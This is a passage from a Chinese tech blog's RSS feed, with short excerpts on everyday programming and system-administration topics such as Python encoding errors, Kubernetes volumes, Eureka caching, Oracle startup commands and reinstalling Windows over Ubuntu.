root 4r REG 8,6 1299113404 2686 messages 结束生成messages的进程：</description>
    </item>
    <item>
      <title>UnicodeDecodeError: &#39;utf-8&#39; codec can&#39;t decode byte 0xb1 in position 0: invalid start byte问题的解决方案</title>
      <link>https://bchobby.github.io/posts/5aa11d13f85ebf280a405004f4248e4c/</link>
      <pubDate>Fri, 17 May 2019 19:40:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5aa11d13f85ebf280a405004f4248e4c/</guid>
      <description>近期使用python处理数据，使用python3打开一个txt文件&#xA;file1 = open(&#34;wenjianming.txt&#34;,&#39;r&#39;) data = file1.readlines() i = &#34;&#34; for i in data: print(i) 报错如下：&#xA;UnicodeDecodeError: &#39;utf-8&#39; codec can&#39;t decode byte 0xb1 in position 0: invalid start byte&#xA;是编码的问题，所以将编码改成gbk试了一下&#xA;file1 = open(&#34;31省市居民家庭消费水平-city.txt&#34;,&#39;r&#39;,&#39;gbk&#39;) 报错如下:&#xA;TypeError: an integer is required (got type str)&#xA;又继续百度，查了一下open函数：&#xA;open(file, mode=&#39;r&#39;, buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None) 也就是说在encoding参数前面还得有个buffering，参数值要是个整数，所以改成以下形式：&#xA;file1 = open(&#34;31省市居民家庭消费水平-city.txt&#34;,&#39;r&#39;,1,&#39;gbk&#39;) data = file1.readlines() i = &#34;&#34; for i in data: print(i) 就能够正常输出汉字了</description>
    </item>
    <item>
      <title>minitools在win10上安装失败</title>
      <link>https://bchobby.github.io/posts/cc59b7894bb5e50ad04b7a7bd99cd987/</link>
      <pubDate>Thu, 16 May 2019 18:05:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc59b7894bb5e50ad04b7a7bd99cd987/</guid>
      <description>问题描述：win10在安装minitools时会出现失败的情况，这时会提示你去手动安装fastboot驱动。&#xA;原 因：这种情况是由于微软出于安全因素强制驱动程序签名导致的。（硬件开发商将自己的硬件设备和相应的驱动程序交给微软的实验室，由实验室对其进行测试，测试合格后实验室将在其驱动程序中添加数字签名。由于数字签名是针对整个驱动程序的所有软件进行的，所以在完成签名后再对驱动程序进行任何更改都会导致签名无效，这样就避免了在驱动程序中添加恶意代码传播病毒等恶意程序的可能性。 ）&#xA;解决办法：&#xA;暂时禁止/永久禁止（我没试过，不建议永久禁止，存在安全风险。）：https://jingyan.baidu.com/article/cd4c2979018215756e6e60ff.html</description>
    </item>
    <item>
      <title>用matlab实现kpca（核主成分分析法）</title>
      <link>https://bchobby.github.io/posts/4bddb5750bc94fee8b3d10edb67cf5a8/</link>
      <pubDate>Thu, 16 May 2019 15:50:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bddb5750bc94fee8b3d10edb67cf5a8/</guid>
      <description>核主成分分析法是对非线性的高维数据进行降维的一种方法，理论部分这里就不再介绍了，我是在300×12维的数据上进行降维的，代码如下：&#xA;data=Untitled; [Xrow, Xcol] = size(data); % Xrow：样本个数 Xcol：样本属性个数 %%数据预处理 Xmean = mean(data); % 求原始数据的均值 Xstd = std(data); % 求原始数据的方差 X0 = (data-ones(Xrow,1)*Xmean) ./ (ones(Xrow,1)*Xstd); % 标准阵X0,标准化为均值0，方差1; c = 20000; %此参数可调 %%求核矩阵 for i = 1 : Xrow for j = 1 : Xrow %k(i,j)=kernel(data(i,:),data(j,:),2,6); K(i,j) = exp(-(norm(X0(i,:) - X0(j,:)))^2/c);%求核矩阵，采用径向基核函数，参数c end end %%中心化矩阵 unit = (1/Xrow) * ones(Xrow, Xrow); Kp = K - unit*K - K*unit + unit*K*unit; % 中心化矩阵 %%特征值分解 [eigenvector, eigenvalue] = eig(Kp); % 求协方差矩阵的特征向量（eigenvector）和特征值（eigenvalue） %单位化特征向量 for m =1 : 300 for n =1 : 300 Normvector(n,m) = eigenvector(n,m)/sum(eigenvector(:,m)); end end eigenvalue_vec = real(diag(eigenvalue)); %将特征值矩阵转换为向量 [eigenvalue_sort, index] = sort(eigenvalue_vec, &#39;descend&#39;); % 特征值按降序排列，eigenvalue_sort是排列后的数组，index是序号 pcIndex = []; % 记录主元所在特征值向量中的序号 pcn = 3; for k = 1 : pcn % 特征值个数 pcIndex(k) = index(k); % 保存主元序号 end for i = 1 : pcn pc_vector(i) = eigenvalue_vec(pcIndex(i)); % 主元向量 P(:, i) = Normvector(:, pcIndex(i)); % 主元所对应的特征向量（负荷向量） end project_invectors = k*P; pc_vector2 = diag(pc_vector); % 构建主元对角阵 %绘制三维散点图 x=project_invectors(:,1); y=project_invectors(:,2); z=project_invectors(:,3); scatter3(x,y,z,&#39;filled&#39;) 因为想实现三维可视化，所以直接取了三个主元。也可以通过求主元贡献率的方法来选取主元个数。最后得到的三维散点图</description>
    </item>
    <item>
      <title>[坑]WebView之shouldOverrideUrlLoading</title>
      <link>https://bchobby.github.io/posts/6364422fdd50a36dd537a114887e9d91/</link>
      <pubDate>Thu, 16 May 2019 15:23:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6364422fdd50a36dd537a114887e9d91/</guid>
      <description>WebView 中 shouldOverrideUrlLoading 的作用 回调的时机 根据观察，当页面链接发生变化时，从一个页面变成了另一个页面，就会回调这个。而页面里面加载js,css,图片等内容的时候，不会回调此链接。前提是你的返回值是false。如果是true，也可以让他回调，这里需要你显性的调用view.loadUrl(url),我的理解是当调用loadUrl(url)时，无论如何，他都会自动调用一次该方法。&#xA;返回值 官方说明：&#xA;True if the host application wants to leave the current WebView and handle the url itself, otherwise return false.&#xA;如果主机应用程序想要离开当前WebView并处理URL本身，则为True，否则返回false。&#xA;如果是true&#xA;在重写该方法时，如果不主动去加载（view.load(url)），页面将不会继续加载链接，会停留在第一个页面。如果是false&#xA;所有的页面变化会走该方法，页面会正常加载。但是重写loadUrl方法时，发现loadUrl只走第一次。 其他 当显示的在该方法里调用view.loadUrl(url)时，都会走loadUrl();</description>
    </item>
    <item>
      <title>Kubernetes PersistentVolumes PersistentVolumeClaims and Examples</title>
      <link>https://bchobby.github.io/posts/60a959452adda8f0f260be3e446b8cd2/</link>
      <pubDate>Wed, 15 May 2019 08:45:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60a959452adda8f0f260be3e446b8cd2/</guid>
      <description>Figure: PersistentVolumes, like cluster Nodes, do not belong to any namespace, unlike Pods and PersistentVolumeClaims&#xA;Access Modes A PersistentVolume can be mounted on a host in any way supported by the resource provider.&#xA;The access modes are:&#xA;ReadWriteOnce – the volume can be mounted as read-write by a single nodeReadOnlyMany – the volume can be mounted read-only by many nodesReadWriteMany – the volume can be mounted as read-write by many nodes Schedule A PV can specify node affinity to define constraints that limit what nodes this volume can be accessed from.</description>
    </item>
    <item>
      <title>Eureka, Client, Ribbon之间的缓存和服务实时上下线实现思路分析</title>
      <link>https://bchobby.github.io/posts/c89a94dbae7df15ebba5868d0ef05486/</link>
      <pubDate>Tue, 14 May 2019 19:15:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c89a94dbae7df15ebba5868d0ef05486/</guid>
      <description>在使用Eureka做注册中心时，我平时遇到的最不爽问题，就是无法做到实时上下线。比如，我服务已经正常下线了，为什么上游还能调通？我服务已经上线了，为什么还有等&#34;很久&#34;才能真正被其他服务所&#34;发现&#34;？其实这些都是从Eureka到Client再到Ribbion这条链路中的逐级缓存造成的。&#xA;Eureka为什么要使用缓存 比如，对于Eureka来说，Eureka Client获取注册更新信息时，Eureka Server返回的数据其实是从一个默认每30s才更新的缓存获取的。也就是说，如果你服务下了一个，即使client是在服务下线之后发请求查询的注册列表，那这次请求也不会包括服务下线的信息。那么Eureka为什么要搞cache而不是实时的返回注册信息呢？我个人推测了一下，应该是为了在访问注册数据结构时尽量少加锁，从而提升单次请求时的性能。如果没有这层cache, 那么对于服务注册表这个数据结构来说，就会存在并发读写的情况，那就避免不了加锁保护。如果有cache, 是可以做到完全不加锁的。想一下，对于微服务架构来说，特点就是每个服务较轻，但服务数量较多。如果每个服务都定时请求eureka更新注册信息的话，对于Eureka Server来说，确实是可能会造成严重的锁竞争的。除了这个responseCache外，Eureka对于无心跳服务的清理也是默认每60s执行一次的，也就是说对于异常下线的服务(没有主动取消注册，而是中断了心跳)，在Eureka Server端最大会有长达 60s + 30s * 3 = 150s的延迟。这里的30s * 3 是3个心跳的周期。&#xA;Eureka Client的缓存 Eureka Client默认会对注册信息做30s缓存 ，这个很好理解 ，因为我们当然不希望每次RPC都要重新查一次注册表，这是很浪费的。 这是常规操作，无可厚非。&#xA;Ribbon的缓存 这就有点诡异了。Ribbon向上对接Eureka Client, 向下对接实现发起HTTP请求的客户端。ribbon自身也是有30s缓存的，即ribbon会每30s向Eureka Client那里索要注册信息，注意是Eureka Client而不是Eureka Server，这样就更加剧了整个系统对服务上下线感知的延迟。我认为Ribbon这样设计，原因是考虑到了其上游不仅仅是Eureka Client, 还可能是配置文件，或者以编程的方式输入的注册列表，而这些查询是有可能比较耗时的。Ribbon为了兼容这些情况，不得不添加了缓存。&#xA;实时上下线思路 只能用消息中间件了。新做一个上下线管理服务，提供HTTP接口来上下线指定服务，当指定要下线A服务时，先向Eureka发请求，将此服务下所有的实例都删掉，然后再向kafka类似这样的消息系统中发一条消息，所有的微服务都要监听此消息队列。&#xA;服务收到下线消息时，将指定服务从本地Ribbon服务列表中删除。这里Ribbon的 Loadbalancer提供了markServerDown()方法可以使用，还是容易实现的。&#xA;服务收到上线消息时，需要将服务信息添加到Ribbon中，Ribbon虽然也提供了对应的方法，但是参数较为复杂，还需要研究一下。&#xA;这些功能可以直接打包成starter, 写好以后各服务直接引用即可。&#xA;其实我更希望Eureka官方能出一套解决实时性的方案，然并卵，Eureka已经不维护了</description>
    </item>
    <item>
      <title>Oracle启动</title>
      <link>https://bchobby.github.io/posts/45c6a75d0dc781b4011888dfcb1937df/</link>
      <pubDate>Tue, 14 May 2019 14:57:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45c6a75d0dc781b4011888dfcb1937df/</guid>
      <description>查看监听：&#xA;netstat -an |grep LISTEN&#xA;启动监听：&#xA;切换Oracle用户&#xA;lsnrctl start&#xA;sqlplus / as sysdba&#xA;--启动数据库&#xA;SQL&amp;gt; startup&#xA;SQL&amp;gt; startup nomount;&#xA;ORACLE instance started.&#xA;强制启动：&#xA;SQL&amp;gt;STARTUP FORCE&#xA;查看数据库中的实例：&#xA;show pdbs&#xA;多实例pdbs的数据库重启&#xA;alter pluggable database BSDEV close immediate;&#xA;alter pluggable database BSDEV open;&#xA;alter pluggable database 库名 close immediate;&#xA;alter pluggable database 库名 open;</description>
    </item>
    <item>
      <title>Django-REST-Framework获取表和关联字段的值</title>
      <link>https://bchobby.github.io/posts/a59140e66b6eba2ee32b05642bcd5df9/</link>
      <pubDate>Tue, 14 May 2019 10:04:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a59140e66b6eba2ee32b05642bcd5df9/</guid>
      <description>首先在Django项目创建表&#xA;安装Django REST Framework：&#xA;pip install djangorestframework 以书籍和出版社为例(model.py)：&#xA;from django.db import models class Book(models.Model): title = models.CharField(max_length=32) create_time = models.DateField(auto_now_add=True) # 书籍的类型 BookType = models.SmallIntegerField( choices=((1, &#34;原创&#34;), (2, &#34;转载&#34;)), default=1 ) # 出版社（一对多） publish = models.ForeignKey(to=&#39;Publish&#39;, on_delete=models.CASCADE) # 标签（多对多） tag = models.ManyToManyField(to=&#39;Tag&#39;) # 书籍出版社表 class Publish(models.Model): name = models.CharField(max_length=32) # 书籍标签表 class Tag(models.Model): name = models.CharField(max_length=16) 自己动手在为每张表添加几条记录，并做好关联。&#xA;创建一个专门存放序列化类的py文件&#xA;serialize.py&#xA;from app01 import models from rest_framework import serializers class Serialize(serializers.ModelSerializer): # 表中有choices的字段时，此代码是将对应的描述信息显示到页面 BookType = serializers.</description>
    </item>
    <item>
      <title>select下拉框多选，超级好用！十分强大！</title>
      <link>https://bchobby.github.io/posts/1672f457d61c3d1e5a717a78cf1a82a5/</link>
      <pubDate>Mon, 13 May 2019 17:49:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1672f457d61c3d1e5a717a78cf1a82a5/</guid>
      <description>正文：&#xA;先说点废话：一个需求,想把select变成下拉多选，网上查找了半天，给出的方案都是自定义一个标签，或者弄个什么ul下面li进行选择，看起来就繁琐，本人只想在select上面做文章，不得已，自己写了一个，只需要在select上加个属性即可，方便实用！&#xA;2019.11.30之前，算是selectMultip的第一个版本，没想到用的人还不少，自然也发现了很多隐藏的bug，虽然它比较简单但大家使用时还是有些困惑，基于以上等原因，selectMultip2.0问世（哈哈），2.0做了全面的升级，不仅解决了之前发现的bug，而且新增了api，使用方法还是原来的步骤：1、引入js文件，2、在select标签上添加属性multip，然后调用方法即可（只有两步哦！）&#xA;可以先访问一下这里哟：演示地址 （不想访问也可以往下读）&#xA;先上图：&#xA;这个是选中后的效果，我们用的是select标签，选中后子标签会变成蓝色，如果想取消，再点击一下即可取消。&#xA;取值，调用selectMultip.getVal(&#34;22&#34;)方法即可：&#xA;赋值，调用selectMultip.setVal(id,data)即可，第二个参数类型可以是字符串或者数组,如图：&#xA;具体取值、赋值、动态加载等可以看下面的说明文档哦！&#xA;那现在就开始使用吧（只需要两步）：&#xA;首先，将下面的js代码复制到一个js文件中（js文件名可以命名为selectMultip哦），并将其引入项目中即可。&#xA;(function() { selectMultip = { register: function(id) { //大致思路是：为下拉选创建一个隐藏的子选项，每次单选之后将单选的值追加到隐藏的子选项中，并将子选项选中显示即可 //全局查找所有标记multip的select document.querySelectorAll(&#34;[multip]&#34;).forEach(function(e) { render(e); }) }, reload: function(id, data, setData) { var htm = &#34;&#34;; for(var i = 0; i &amp;lt; data.length; i++) { htm += &#39;&amp;lt;option value=&#34;&#39; + data[i].value + &#39;&#34;&amp;gt;&#39; + data[i].text + &#39;&amp;lt;/option&amp;gt;&#39; } var e = document.getElementById(id); e.innerHTML = htm; render(e); this.setVal(id, setData); }, setVal: function(id, str) { var type = Object.</description>
    </item>
    <item>
      <title>TCGA数据库的利用（二）—— 数据处理</title>
      <link>https://bchobby.github.io/posts/5040bb26a250a9523b0a15d2ec7ed55b/</link>
      <pubDate>Mon, 13 May 2019 14:17:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5040bb26a250a9523b0a15d2ec7ed55b/</guid>
      <description>上一篇文章介绍的是关于TCGA数据的下载，如果不太清楚怎么下载数据的读者请参考这篇文章：TCGA数据库的利用（一）—— 数据下载！,而本篇文章主要介绍一下数据的处理过程，因为数据下载之后都是单一样本存储而且样本名称都是以非规则性超长字符命名，进行数据分析之前需要把样本名称转化为TCGA样本编号，例如这种形式的：TCGA-A8-A07I-01A-11R-A00Z-07；这里我以乳腺癌的RNA-seq数据作为样例，从数据库中下载了200个乳腺癌样本，每个样本中都含6万多个基因的表达数据。&#xA;样本名称转化为TCGA样本编号&#xA;数据下载之后如下，每个样本有一个文件夹，里面都会有一个压缩包，解压后会生成一个txt文本，里面含有我们需要的数据；&#xA;把每个压缩包的名称变成TCGA样本编号需要借助我们之前从网站下载数据相应的json文件：TCGA数据库的利用（一）—— 数据下载！json文件打开后，会发现每个样本名称跟它的TCGA样本编号被一个大括号所包含，形成一一对应的关系；&#xA;这里我就利用了python脚本把样本名与TCGA样本编号建立一个字典，然后进行逐一修改，&#xA;修改后的结果如下（注意：修改后的文件还是一个以.gz结尾的压缩包，这里只是修改了前面的名称而已）：&#xA;数据合并&#xA;把下载的所有样本名称转化为TCGA样本编号之后，就需要进行数据整合，把所有样本数据整合到一个文件中；&#xA;这里先创建一个空矩阵作为公共矩阵，利用R语言中的gzfile函数读取第一个样本压缩包里面的数据转化为一个二维矩阵，TCGA样本编号设置为数据的列名，基因的ensembl编号设置为数据的行名；&#xA;把这个二维矩阵赋给那个公共矩阵，随后的样本数据写一个for循环，读取方式跟第一个相同，不同的是这里创建好的二维矩阵不是赋给公公矩阵，而是以第一列为参照列与前面合成的公共矩阵进行合并，最终可以把最后的矩阵写入一个csv文件夹中；&#xA;数据合并结果如下：&#xA;基因注释&#xA;这一步是把行名为基因的ensembl编号转化为基因官方id，这里利用的是R程序包clusterProfiler和org.Hs.eg.db(这种注释方法会导致注释的基因大大减少)：&#xA;以上使用的R程序包基本上都需要下载，R语言自身没有，下载方式参照下面的两行代码（把里面的包的名称换成自己需要的名称即可）&#xA;最终处理后的数据如下，接下来我们既可以正常地进行分析了，最好在分析之前把处理好的数据备份一下防止数据损坏。&#xA;以上涉及的python和R语言代码的完整版，获取方式为：关注微信公众号：小张Python，后台回复关键字 TCGA处理 即可。TCGA系列的下一篇文章将介绍怎么利用程序包limma、edgeR和DESeq2作差异分析，想了解的读者可以提前关注一下。</description>
    </item>
    <item>
      <title>纯Ubuntu系统重新安装为纯Windows10系统方法</title>
      <link>https://bchobby.github.io/posts/c7df2a95503152333f8c07a489c1cd00/</link>
      <pubDate>Sun, 12 May 2019 20:24:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7df2a95503152333f8c07a489c1cd00/</guid>
      <description> 简介 计算机当前操作系统为Ubuntu 18.04，且没有安装双系统，如果想要在此基础上安装再安装Ubuntu+Windows双系统，可参考博文：&#xA;https://blog.csdn.net/u010598713/article/details/80239727&#xA;下面本文将简要介绍如何将计算机重新安装为只有一个Windows系统。注意，重装计算机系统前，务必提前做好数据备份。&#xA;安装环境 原操作系统：Ubuntu 18.04 LTS&#xA;待安装操作系统：Windows 10&#xA;准备工具 一个优盘（用于制作系统启动盘）一台已装有Windows系统的计算，并在其上安装老毛桃U盘启动盘制作工具（装机版，下载地址：http://www.laomaotaoupan.cn/download.html?download=http://down.lmtxz1.net/20181221/LaoMaoTao_STA_bd.exe）待安装的Win10系统镜像文件（推荐使用Ghost系统，作者试验成功的64位Win10 Ghost系统下载地址：http://www.xitongcheng.com/win10/win10_xiazai_4938.html#download） 具体过程 在Windows系统的计算机上按照老毛桃的官方教程(http://www.laomaotaoupan.cn/upzwin10.html)制作win10系统的U盘启动盘将制作好的启动U盘插到待装机的计算机上，重启计算机，进入老毛桃主菜单界面，选择“【02】老毛桃WIN8 PE标准版（新机器）”进入PE系统。打开桌面的“Bootice引导修复”软件，然后选中系统盘。由于当前安装的系统为Ubuntu系统，故此时引导程序为“Grub”。若要将计算机重新安装为纯Windows系统，需要将系统盘的引导程序设置为“Windows NT 6.0”,该引导程序才是适用于Win10的引导程序，关于引导程序的详细介绍，可参考博文：https://blog.csdn.net/xinlan3618/article/details/78860317双击PE桌面的“DiskGenius分区工具”软件，将安装Ubuntu的系统盘的各分区全部删除，并重新建立磁盘分区。具体的操作步骤可参考老毛桃官方教程：http://www.laomaotaoupan.cn/cpfq.html在DiskGenius分区工具中选中系统盘，选择“硬盘-&amp;gt;重建主引导记录(MBR)”，为该系统盘修复Win10的主引导记录。双击PE桌面上的“老毛桃PE装机工具”，继续安装本文第1步提到的教程(http://www.laomaotaoupan.cn/upzwin10.html)完成win10 Ghost系统的安装即可。 </description>
    </item>
    <item>
      <title>解决IDEA不能自动导入java.util.List的问题</title>
      <link>https://bchobby.github.io/posts/46197dcfe8b288136808fcf2e1bdf510/</link>
      <pubDate>Sun, 12 May 2019 13:53:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46197dcfe8b288136808fcf2e1bdf510/</guid>
      <description>点击“File”--&amp;gt;“Settings”&#xA;然后“Editor”--&amp;gt;“General”--&amp;gt;“Auto Import”&#xA;把里面的java.util.List删除即可：</description>
    </item>
    <item>
      <title>Java 树的构造算法</title>
      <link>https://bchobby.github.io/posts/016b210b3689f778fcfb6e26da9be799/</link>
      <pubDate>Sat, 11 May 2019 17:08:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/016b210b3689f778fcfb6e26da9be799/</guid>
      <description>连通的定义：从A定点出发能到达B定点，则称A-B连通 连通的基本性质： 自反性：A一定连通A（ps:自己可以和自己PY交易）对称性：如果A和B连通，则B和A也连通（无向的情况下）传递性：如果A连通B，B连通C，则A连通C 树： 大小（size）：树的节点数量深度（depth）:某个节点到根节点的链接路径的数量高度（height）:树所有节点中深度最大的值 森林的构造（目标：深度尽量小，树尽量少）： quick-findquick-union加权quick-union路径压缩 实现 quick-find算法（所有具有连通关系的触点都指向终触点，查找触点很快，但连通触点较慢） class UF { int[] id; int count; UF(int N) { id = new int[N]; count = N; } //将所有连通触点指向最后的触点 int find(int p) { return id[p]; } void union(int p, int q) { int pID = find(p);//获取起触点 int qID = find(q);//获取终触点 if (pID == qID) {//如果已经连通，结束 return; } for (int i = 0; i &amp;lt; id.length; i++) {//遍历所有触点 if (id[i] == pID) {//如果有触点指向起触点，说明起触点之前已经和其他触点连接 id[i] = qID; //将所有指向起触点的触点指向终触点 count--;//连通数量减一 } } } boolean connection(int p, int q) { return id[p] == id[q]; } int count() { return count; } } quick-union(所有具有连通关系的触点都指向自己的终触点，连通触点很快，但查找触点较慢) class UF1 { int[] id; int count; UF1(int N) { id = new int[N]; count = N; } //查找触点的根触点，类似递归回溯 int find(int p) { while(p!</description>
    </item>
    <item>
      <title>Unity2019.1的Package之Animation Rigging v0.1.4  非人型角色的IK！</title>
      <link>https://bchobby.github.io/posts/7d872358c3051e1af005dabcacb28e9a/</link>
      <pubDate>Sat, 11 May 2019 11:14:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d872358c3051e1af005dabcacb28e9a/</guid>
      <description>翻译自： http://tsubakit1.hateblo.jp/ 此人是日本Unity的开发者， 经常分享Unity最新的技术。 AnimationRigging是Animation C# Jobs 程序的功能。例如，设置IK，调整移动。&#xA;也有时间轴工作，如尝试对角色的腰添加旋转， 如在一个特定的场景微调一个有趣的功能。&#xA;IK 在动画 (Mcacanim) 标准中, 但 Mcanim IK 只对人型角色有效, AnimationRigging 就不一样。&#xA;例如，如下图 (显然不是人类型) (动漫玩具) Lacter 的腿运动在 ik 中创造了。 据说在调整了 IK 的功能后, 只显示了脚的最终位置。&#xA;用IK移动你的腿&#xA;此外，您似乎可以执行各种操作，例如覆盖动画角色的Transform和多个动作的混合。&#xA;Blend ConstraintChain IK ConstraintDamped TransformMulti-Aim ConstraintMulti-Parent ConstraintMulti-Position ConstraintMulti-Referential ConstraintMulti-Rotation ConstraintOverride TransformTwist CorrectionTwo Bone IK Constraint 实际上尝试一下 我实际上会使用Kore。这次尝试的功能是TwoBoneIK。IK表达式由两个关节执行。&#xA;当移动臂的尖端时，臂的位置被补充以便连接到尖端。&#xA;环境测试 .NET 4.xUnity 2019.1Animation Rigging ver 0.1.4 程序 首先做一个手臂。&#xA;在根的GameObject“ARMS”下，构建一个父子结构，以便Root&amp;gt; Mid&amp;gt; Tip。此时，如果您转动父游戏对象，请调整网格的位置，以便孩子的骨骼能够精美地转动。&#xA;用父子结构制作手臂&#xA;接下来，设置Rig。&#xA;在ARMS下创建名为Rig的GameObject 并添加Rig组件和TwoBoneIKConstraint组件。&#xA;在Rig对象下，创建名为Target和Hint的GameObject并 将这两个游戏对象添加到 TwoBoneIKConstraint 组件上赋值。此时，Target被置于与Tip大致相同的位置 。</description>
    </item>
    <item>
      <title>UE4添加音乐、音效</title>
      <link>https://bchobby.github.io/posts/8abf38db8ada3dab3e55bb7615605c08/</link>
      <pubDate>Sat, 11 May 2019 09:52:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8abf38db8ada3dab3e55bb7615605c08/</guid>
      <description>目录&#xA;一、目的：&#xA;1、想：UE4添加音乐、音效&#xA;二、参考&#xA;1、&#xA;三、操作：完成&#xA;1、前述：&#xA;1、导入音乐&#xA;1、创建Cue&#xA;1、Cue进行设置&#xA;1、创建音乐&#xA;1、播放和暂停音乐&#xA;一、目的： 1、想：UE4添加音乐、音效 二、参考 1、 三、操作：完成 1、前述： 1、项目月球车有4个音乐，背景音乐、胜利、失败、机械臂动的音乐2、音乐分为几种：我目前考虑：音乐、音效；音乐：不断循环的声音，音效：只是产生一次的3、我不是写在场景中的，场景中的网上有很多的其他方法就不写了 1、导入音乐 因为只是支持wav格式的音乐，用格式工厂将其转换&#xA;1、创建Cue 导入了音乐之后，将其右键创建Cue&#xA;1、Cue进行设置 因为我的是背景音乐，所以将其设置为循环（后面发现没有循环的节点），音效就不需要了（因为只是播放一次不需要循环）&#xA;1、创建音乐 使用创建，右边拖出来做提升为变量&#xA;不要勾选，否则播放完了就没有了&#xA;1、播放和暂停音乐 1、不能使用stop，否则需要重新创建&#xA;2、pause后它还是在播放的，所以需要让其不pause</description>
    </item>
    <item>
      <title>Ubuntu18.04重启后无法进入图形化界面</title>
      <link>https://bchobby.github.io/posts/222de723b8b7690ef9c998a2a6932f19/</link>
      <pubDate>Fri, 10 May 2019 17:37:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/222de723b8b7690ef9c998a2a6932f19/</guid>
      <description> 如果你没有瞎卸载很多东西的话，先在字符界面输入你的用户名和密码， 先尝试这个命令：&#xA;sudo systemctl isolate graphical.target 不行的话，我的解决办法：安装图形化界面ubuntu-desktop 或者unity&#xA;sudo apt-get install ubuntu-desktop sudo apt-get install unity 然后再用命令行命令进入图形化界面&#xA;11111、sudo service gdm3 start 没有1111号这个插件的话，可以下载安装，命令如下：&#xA;sudo apt-get install lightdm 输入上述命令后，会让你选gdm3或者lightdm。建议选择gdm3，因为我ubuntu18.04开始选的是lightdm，结果3天没进去图形化界面，眼睛都哭瞎了。&#xA;然后再输入如下命令：&#xA;sudo service gdm3 start </description>
    </item>
    <item>
      <title>IE下载文件路径有中文的情况</title>
      <link>https://bchobby.github.io/posts/a267ba9824532756ffcb7e6530d9b540/</link>
      <pubDate>Fri, 10 May 2019 17:16:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a267ba9824532756ffcb7e6530d9b540/</guid>
      <description>在IE浏览器中下载文件的时候，路径中有中文的时候请求无法到达后台的情况：&#xA;请求路径中需要对中文的内容进行转码：&#xA;前段页面：&#xA;var fileName = &#34;文件名称&#34;;&#xA;location.href = &#34;/wealth/downloadFile?fileName=&#34;+encodeURI(encodeURI(fileName));&#xA;后台接受：&#xA;String fileName = java.net.URLDecoder.decode(request.getParameter(&#34;fileName&#34;), &#34;utf-8&#34;);&#xA;发送http请求时，路径中带有中文的情况报错，需要进行转码：&#xA;/getCandidateList/&#34;+base64.encodeToString(b)（编码后可能会有“/”符号）&#xA;去除“/”的方法：&#xA;base64.encodeBase64URLSafeString(b)&#xA;参数b中有中文信息，需要进行转换</description>
    </item>
    <item>
      <title>MFC 自动获取可用com串口（串口号以及名称）</title>
      <link>https://bchobby.github.io/posts/be1eac2b517e6d8bdff42d077775ee33/</link>
      <pubDate>Thu, 09 May 2019 10:10:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be1eac2b517e6d8bdff42d077775ee33/</guid>
      <description>之前获取串口号都是从注册表中获取，现在用一个新的方法能够获取窗口名称和串口号；&#xA;1、首先#include &amp;lt;setupapi.h&amp;gt; 和#pragma comment(lib, &#34;Setupapi.lib&#34;)；&#xA;不同电脑位置不一样&#xA;可以在系统盘C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\Lib（Setupapi.lib）&#xA;C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\Include（Setupapi.h） 直接复制到你的工程目录下面，如下：&#xA;#include &amp;lt;setupapi.h&amp;gt; #pragma comment(lib, &#34;Setupapi.lib&#34;) SCtring com1 , com2 , com_1 , com_2; 2、在OnInitDialog()里面添加&#xA;HDEVINFO hDevInfo = SetupDiGetClassDevs(&amp;amp;GUID_DEVCLASS_PORTS, NULL, NULL, 0); HANDLE hCom; if (hDevInfo) { int iy = 0; SP_DEVINFO_DATA SpDevInfo = { sizeof(SP_DEVINFO_DATA) }; for (DWORD iDevIndex = 0; SetupDiEnumDeviceInfo(hDevInfo, iDevIndex, &amp;amp;SpDevInfo); iDevIndex++) { TCHAR szName[512] = { 0 }; if (SetupDiGetDeviceRegistryProperty(hDevInfo, &amp;amp;SpDevInfo, SPDRP_FRIENDLYNAME, NULL, (PBYTE)szName, sizeof(szName), NULL)) { _tprintf(_T(&#34;</description>
    </item>
    <item>
      <title>C&#43;&#43;将字符串存到数组中</title>
      <link>https://bchobby.github.io/posts/cb6c76a13edfc9b225f222852d9ba931/</link>
      <pubDate>Wed, 08 May 2019 16:32:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb6c76a13edfc9b225f222852d9ba931/</guid>
      <description>C++将字符串存到数组中 c++在bantu下输入 g++ shuzu.cpp -0 shuzu&#xA;运行结果：&#xA;代码如下：&#xA;#include&amp;lt;string&amp;gt; #include&amp;lt;iostream&amp;gt; using namespace std; int main() { //数组中存放带有“”号的字符串 string str[3] = {&#34;\&#34;ert\&#34;&#34;,&#34;*asd&#34;, &#34;cvb&#34;}; string a; for(int i = 0; i &amp;lt; 3; i ++) { cout&amp;lt;&amp;lt; &#34;str[i]:&#34; &amp;lt;&amp;lt;str[i] &amp;lt;&amp;lt;endl; a = str[i]; cout&amp;lt;&amp;lt; &#34;a: &#34;&amp;lt;&amp;lt; a &amp;lt;&amp;lt;endl; } cout&amp;lt;&amp;lt; &#34;-------------- &#34;&amp;lt;&amp;lt; endl; //分割线 //数组中存有字符串 string code[3] = {&#34;e12&#34;,&#34;d12&#34;,&#34;q1a&#34;}; for(int i = 0; i &amp;lt; 3; i ++) { cout&amp;lt;&amp;lt; &#34;str[i]:&#34; &amp;lt;&amp;lt;code[i] &amp;lt;&amp;lt;endl; a = code[i]; cout&amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>springboot和yaml文件的一点小坑（server.context-path或server.servlet.context-path不起作用）</title>
      <link>https://bchobby.github.io/posts/acb449036494f23224e3aec49904d554/</link>
      <pubDate>Wed, 08 May 2019 10:39:23 +0800</pubDate>
